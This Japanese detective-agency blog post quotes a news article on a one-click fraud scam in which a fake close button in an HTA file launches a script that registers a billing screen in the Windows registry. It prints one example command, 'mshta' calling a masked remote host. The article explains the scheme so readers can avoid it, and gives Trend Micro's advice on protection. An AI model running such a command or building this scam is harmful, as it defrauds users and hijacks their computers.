ワンクリック詐欺②

（上記はイメージです。）

"「×」で高額請求、巧妙なワンクリック詐欺"(YOMIURI ONLINEより）

引用～


　恐ろしいほど手が込んだワンクリック詐欺が登場している。動画の「閉じる」ボタンで不正なプログラムを実行させ、ウィンドウズのセキュリティー設定を突破して、高額請求画面を毎回デスクトップに出すものだ（テクニカルライター・三上　洋）

　アダルトサイトに多いワンクリック詐欺は、動画や画像を表示するだけで勝手に入会させたように見せかけ、高額料金を請求する詐欺だ。以前の記事「消えないアダルトサイト画面」「ワンクリック詐欺が再び急増」で手口や対策を紹介している。これまではクリックするだけで「8万円を払ってください」などと表示する単純なものが多かった。

　ところが、一部の詐欺業者が手の込んだワンクリック詐欺を仕掛けてきている。セキュリティー対策大手のトレンドマイクロが、自社のブログでその手口を詳しく解説している。「HTAを利用したワンクリックウエアの新たな手口」によると、今回の手口は今までに類を見ない悪質で巧妙な手段を使っている。

　まず初期の段階では、ワンクリックでの強制入会はさせずに、年齢確認や利用規約の同意などの表示を出す。繰り返し「はい」をクリックさせることで、後の脅迫的な請求を本物らしく見せるためだ。これについてトレンドマイクロでは「電子消費者契約法を意識したものではないか」とコメントしている。

　動画のダウンロードをしようとすると、動画本体のファイルではなく、拡張子がＨＴＡとなっているファイルがダウンロードされる。この「ＨＴＡ」はＨＴＭＬ　Ａｐｐｌｉｃａｔｉｏｎの略で、ＨＴＭＬ言語を使ってプログラム同様の動きをするファイルのこと。もしダウンロードしたファイルが「ＥＸＥ」などの実行形式であれば、警戒してクリックしない人が多いだろう。しかし、一般的なＨＴＭＬ言語を使った「ＨＴＡ」なので、そのままクリックしてしまう人も出てくる。

　そのＨＴＡファイルをダブルクリックした状態が左の画面だ。画面中央に動画の再生ボタンのようなものが表示され、繰り返しアダルト動画が再生される。ただし、ウィンドウは固定されて操作もできないようになっている。多くの人は仕方なく、右上の「×」マーク、つまり「閉じる」ボタンを押すだろう。

　ところが、この「閉じる」ボタンに罠がある。実はこの「×」マークは単なる画像ファイルであり、クリックすると「入金完了ページ」に飛ぶようになっていた。「ご入会ありがとうございました。○○万円を今すぐ振り込んでください」という、ワンクリック詐欺ではおなじみの脅迫画面が表示される。「閉じる」ボタンのように見せかけて、実は詐欺業者が用意しただましページへのリンクだったのだ。

　この詐欺業者は、さらに手の込んだことをしている。「×」マークを押してしまうと、詐欺業者によるページにジャンプし、ここでＶＢスクリプトと呼ばれるファイルを実行する。このスクリプトは以下の通りだ。

「mshta http://xxxxxxxx.com/regist2.php」

　最初に表示されている「ｍｓｈｔａ」とは、ウィンドウズのシステムファイルで、セキュリティー設定を無効にした状態で指定のサイトにアクセスさせるもの。インターネットエクスプローラーなどのブラウザーでは実行をブロックできるが、今回はパソコンに保存されたＨＴＡファイルによるものなので実行できてしまう。これによりウィンドウズの初期設定（レジストリー）に、高額料金請求の画面が登録されてしまう。レジストリー設定を直さない限り、起動するたびにワンクリック詐欺の画面が出ることになる。

　クリックさせやすいファイルを使い、閉じるボタンで偽装し、暗号化したコードで実行し、セキュリティー設定を突破してウィンドウズの初期設定に登録するという、何とも巧妙な手段だ。トレンドマイクロの調べによれば、この手法は「国内サーバーの複数のサイトで使われており、詐欺サイトを量産することで多くの被害者を集めようとしているようだ」とのことだ。
対策は「クリックしないこと」

　これらのワンクリック詐欺への対策として、トレンドマイクロでは四つのポイントを紹介している。
・不審なサイトへはアクセスしないこと
・適切なペアレンタルコントロール（使用者が未成年の場合の保護者が利用制限）を実施すること
・安易なクリックをやめ、警告文にしっかりと目を通すこと
・セキュリティー対策製品を最新の状態に保ち保護すること

　もし間違ってクリックした場合は、絶対にお金を払ってはいけない。デスクトップに表示されたとしても焦らずに、下記の参考サイトを見て冷静に対応・復旧しよう。

～引用

以前に、ワンクリック詐欺をお伝えしましたが、
これはさらに詳しく仕掛けが解説されています。

動画を見るために、
クリックさせたり、ダウンロードが必要と、
表示するサイトが多いので、
注意が必要ですね。


詐欺解決方法に関心があればこちらへ
　　　　　↓
詐欺解決ＷＥＢ


（調査員トリー）
Ｔ．Ｉ．Ｕ.総合探偵社

ランキングです。
クリックお願いします。　→　人気blogランキング